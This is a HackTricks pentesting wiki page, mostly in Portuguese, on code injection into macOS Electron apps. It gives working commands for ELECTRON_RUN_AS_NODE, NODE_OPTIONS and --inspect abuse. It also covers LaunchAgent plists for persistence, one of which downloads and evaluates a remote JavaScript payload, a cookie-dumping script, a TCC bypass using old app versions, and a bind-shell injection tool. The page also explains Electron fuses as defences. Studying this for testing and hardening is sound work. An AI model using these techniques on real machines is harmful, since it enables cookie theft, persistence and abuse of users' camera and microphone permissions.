# macOS Electron Applications Injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information Se vocĂȘ nĂŁo sabe o que Ă© Electron, pode encontrar [**muitas informaçÔes aqui**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Mas por enquanto, saiba apenas que o Electron executa **node**.\ E o node tem alguns **parĂąmetros** e **variĂĄveis de ambiente** que podem ser usados para **fazer com que ele execute outro cĂłdigo** alĂ©m do arquivo indicado. ### Electron Fuses Essas tĂ©cnicas serĂŁo discutidas a seguir, mas nos Ășltimos tempos o Electron adicionou vĂĄrias **flags de segurança para preveni-las**. Estas sĂŁo as [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) e estas sĂŁo as usadas para **prevenir** que aplicativos Electron no macOS **carreguem cĂłdigo arbitrĂĄrio**: * **`RunAsNode`**: Se desativado, impede o uso da variĂĄvel de ambiente **`ELECTRON_RUN_AS_NODE`** para injetar cĂłdigo. * **`EnableNodeCliInspectArguments`**: Se desativado, parĂąmetros como `--inspect`, `--inspect-brk` nĂŁo serĂŁo respeitados. Evitando assim a injeção de cĂłdigo. * **`EnableEmbeddedAsarIntegrityValidation`**: Se ativado, o **`arquivo asar`** carregado serĂĄ **validado** pelo macOS. **Prevenindo** assim a **injeção de cĂłdigo** ao modificar o conteĂșdo deste arquivo. * **`OnlyLoadAppFromAsar`**: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: **`app.asar`**, **`app`** e finalmente **`default_app.asar`**. Ele apenas verificarĂĄ e usarĂĄ app.asar, garantindo assim que quando **combinado** com a fuse **`embeddedAsarIntegrityValidation`** Ă© **impossĂ­vel** **carregar cĂłdigo nĂŁo validado**. * **`LoadBrowserProcessSpecificV8Snapshot`**: Se ativado, o processo do navegador usa o arquivo chamado `browser_v8_context_snapshot.bin` para seu snapshot V8. Outra fuse interessante que nĂŁo estarĂĄ prevenindo a injeção de cĂłdigo Ă©: * **EnableCookieEncryption**: Se ativado, o armazenamento de cookies no disco Ă© criptografado usando chaves de criptografia em nĂ­vel de SO. ### Checking Electron Fuses VocĂȘ pode **verificar essas flags** de um aplicativo com: ```bash npx @electron/fuses read --app /Applications/Slack.app Analyzing app: Slack.app Fuse Version: v1 RunAsNode is Disabled EnableCookieEncryption is Enabled EnableNodeOptionsEnvironmentVariable is Disabled EnableNodeCliInspectArguments is Disabled EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` ### Modificando Fuses do Electron Como os [**docs mencionam**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), a configuração dos **Fuses do Electron** Ă© configurada dentro do **binĂĄrio do Electron**, que contĂ©m em algum lugar a string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. Em aplicaçÔes macOS, isso estĂĄ tipicamente em `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` VocĂȘ pode carregar este arquivo em [https://hexed.it/](https://hexed.it/) e procurar pela string anterior. ApĂłs esta string, vocĂȘ pode ver em ASCII um nĂșmero "0" ou "1" indicando se cada fusĂ­vel estĂĄ desativado ou ativado. Basta modificar o cĂłdigo hex (`0x30` Ă© `0` e `0x31` Ă© `1`) para **modificar os valores dos fusĂ­veis**.
Note que se vocĂȘ tentar **sobrescrever** o **binĂĄrio do `Electron Framework`** dentro de um aplicativo com esses bytes modificados, o aplicativo nĂŁo funcionarĂĄ. ## RCE adicionando cĂłdigo a AplicaçÔes Electron Pode haver **arquivos JS/HTML externos** que um App Electron estĂĄ usando, entĂŁo um atacante poderia injetar cĂłdigo nesses arquivos cuja assinatura nĂŁo serĂĄ verificada e executar cĂłdigo arbitrĂĄrio no contexto do aplicativo. {% hint style="danger" %} No entanto, no momento, existem 2 limitaçÔes: * A permissĂŁo **`kTCCServiceSystemPolicyAppBundles`** Ă© **necessĂĄria** para modificar um App, entĂŁo, por padrĂŁo, isso nĂŁo Ă© mais possĂ­vel. * O arquivo compilado **`asap`** geralmente tem os fusĂ­veis **`embeddedAsarIntegrityValidation`** `e` **`onlyLoadAppFromAsar`** `ativados` Tornando este caminho de ataque mais complicado (ou impossĂ­vel). {% endhint %} Note que Ă© possĂ­vel contornar a exigĂȘncia de **`kTCCServiceSystemPolicyAppBundles`** copiando o aplicativo para outro diretĂłrio (como **`/tmp`**), renomeando a pasta **`app.app/Contents`** para **`app.app/NotCon`**, **modificando** o arquivo **asar** com seu cĂłdigo **malicioso**, renomeando-o de volta para **`app.app/Contents`** e executando-o. VocĂȘ pode descompactar o cĂłdigo do arquivo asar com: ```bash npx asar extract app.asar app-decomp ``` E empacote-o novamente apĂłs tĂȘ-lo modificado com: ```bash npx asar pack app-decomp app-new.asar ``` ## RCE com `ELECTRON_RUN_AS_NODE` De acordo com [**a documentação**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), se essa variĂĄvel de ambiente estiver definida, ela iniciarĂĄ o processo como um processo normal do Node.js. {% code overflow="wrap" %} ```bash # Run this ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord # Then from the nodeJS console execute: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` {% endcode %} {% hint style="danger" %} Se o fuse **`RunAsNode`** estiver desativado, a variĂĄvel de ambiente **`ELECTRON_RUN_AS_NODE`** serĂĄ ignorada, e isso nĂŁo funcionarĂĄ. {% endhint %} ### Injeção do Plist do App Como [**proposto aqui**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), vocĂȘ pode abusar dessa variĂĄvel de ambiente em um plist para manter a persistĂȘncia: ```xml EnvironmentVariables ELECTRON_RUN_AS_NODE true Label com.xpnsec.hideme ProgramArguments /Applications/Slack.app/Contents/MacOS/Slack -e const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]); RunAtLoad ``` ## RCE com `NODE_OPTIONS` VocĂȘ pode armazenar a carga Ăștil em um arquivo diferente e executĂĄ-la: {% code overflow="wrap" %} ```bash # Content of /tmp/payload.js require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator'); # Execute NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord ``` {% endcode %} {% hint style="danger" %} Se o fuse **`EnableNodeOptionsEnvironmentVariable`** estiver **desativado**, o aplicativo **ignorar**ĂĄ a variĂĄvel de ambiente **NODE\_OPTIONS** ao ser iniciado, a menos que a variĂĄvel de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que tambĂ©m serĂĄ **ignorada** se o fuse **`RunAsNode`** estiver desativado. Se vocĂȘ nĂŁo definir **`ELECTRON_RUN_AS_NODE`**, vocĂȘ encontrarĂĄ o **erro**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.` {% endhint %} ### Injeção do Plist do App VocĂȘ poderia abusar dessa variĂĄvel de ambiente em um plist para manter a persistĂȘncia adicionando essas chaves: ```xml EnvironmentVariables ELECTRON_RUN_AS_NODE true NODE_OPTIONS --require /tmp/payload.js Label com.hacktricks.hideme RunAtLoad ``` ## RCE com inspeção De acordo com [**este**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), se vocĂȘ executar um aplicativo Electron com flags como **`--inspect`**, **`--inspect-brk`** e **`--remote-debugging-port`**, uma **porta de depuração serĂĄ aberta** para que vocĂȘ possa se conectar a ela (por exemplo, do Chrome em `chrome://inspect`) e vocĂȘ poderĂĄ **injetar cĂłdigo nela** ou atĂ© mesmo iniciar novos processos.\ Por exemplo: {% code overflow="wrap" %} ```bash /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 # Connect to it using chrome://inspect and execute a calculator with: require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` {% endcode %} {% hint style="danger" %} Se o fuse **`EnableNodeCliInspectArguments`** estiver desativado, o aplicativo **ignora os parĂąmetros do node** (como `--inspect`) quando iniciado, a menos que a variĂĄvel de ambiente **`ELECTRON_RUN_AS_NODE`** esteja definida, que tambĂ©m serĂĄ **ignorada** se o fuse **`RunAsNode`** estiver desativado. No entanto, vocĂȘ ainda pode usar o **parĂąmetro electron `--remote-debugging-port=9229`**, mas o payload anterior nĂŁo funcionarĂĄ para executar outros processos. {% endhint %} Usando o parĂąmetro **`--remote-debugging-port=9222`**, Ă© possĂ­vel roubar algumas informaçÔes do aplicativo Electron, como o **histĂłrico** (com comandos GET) ou os **cookies** do navegador (jĂĄ que eles sĂŁo **decriptados** dentro do navegador e hĂĄ um **endpoint json** que os fornecerĂĄ). VocĂȘ pode aprender como fazer isso [**aqui**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) e [**aqui**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) e usar a ferramenta automĂĄtica [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ou um script simples como: ```python import websocket ws = websocket.WebSocket() ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True) ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` Em [**este post do blog**](https://hackerone.com/reports/1274695), esse depurador Ă© abusado para fazer um chrome headless **baixar arquivos arbitrĂĄrios em locais arbitrĂĄrios**. ### Injeção do Plist do App VocĂȘ poderia abusar dessa variĂĄvel de ambiente em um plist para manter a persistĂȘncia adicionando essas chaves: ```xml ProgramArguments /Applications/Slack.app/Contents/MacOS/Slack --inspect Label com.hacktricks.hideme RunAtLoad ``` ## Bypass TCC abusando de VersĂ”es Antigas {% hint style="success" %} O daemon TCC do macOS nĂŁo verifica a versĂŁo executada do aplicativo. Portanto, se vocĂȘ **nĂŁo conseguir injetar cĂłdigo em um aplicativo Electron** com nenhuma das tĂ©cnicas anteriores, vocĂȘ pode baixar uma versĂŁo anterior do APP e injetar cĂłdigo nela, pois ainda obterĂĄ as permissĂ”es do TCC (a menos que o Trust Cache impeça). {% endhint %} ## Executar CĂłdigo nĂŁo JS As tĂ©cnicas anteriores permitirĂŁo que vocĂȘ execute **cĂłdigo JS dentro do processo do aplicativo electron**. No entanto, lembre-se de que os **processos filhos sĂŁo executados sob o mesmo perfil de sandbox** que o aplicativo pai e **herdam suas permissĂ”es TCC**.\ Portanto, se vocĂȘ quiser abusar de direitos para acessar a cĂąmera ou o microfone, por exemplo, vocĂȘ pode simplesmente **executar outro binĂĄrio a partir do processo**. ## Injeção AutomĂĄtica A ferramenta [**electroniz3r**](https://github.com/r3ggi/electroniz3r) pode ser facilmente usada para **encontrar aplicativos electron vulnerĂĄveis** instalados e injetar cĂłdigo neles. Esta ferramenta tentarĂĄ usar a tĂ©cnica **`--inspect`**: VocĂȘ precisa compilĂĄ-la vocĂȘ mesmo e pode usĂĄ-la assim: ```bash # Find electron apps ./electroniz3r list-apps ╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗ ║ Bundle identifier │ Path ║ ╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝ com.microsoft.VSCode /Applications/Visual Studio Code.app org.whispersystems.signal-desktop /Applications/Signal.app org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app com.github.GitHubClient /Applications/GitHub Desktop.app com.ledger.live /Applications/Ledger Live.app com.postmanlabs.mac /Applications/Postman.app com.tinyspeck.slackmacgap /Applications/Slack.app com.hnc.Discord /Applications/Discord.app # Check if an app has vulenrable fuses vulenrable ## It will check it by launching the app with the param "--inspect" and checking if the port opens /electroniz3r verify "/Applications/Discord.app" /Applications/Discord.app started the debug WebSocket server The application is vulnerable! You can now kill the app using `kill -9 57739` # Get a shell inside discord ## For more precompiled-scripts check the code ./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell /Applications/Discord.app started the debug WebSocket server The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` ## ReferĂȘncias * [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) * [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) * [https://m.youtube.com/watch?v=VWQY5R2A6X8](https://m.youtube.com/watch?v=VWQY5R2A6X8) {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %}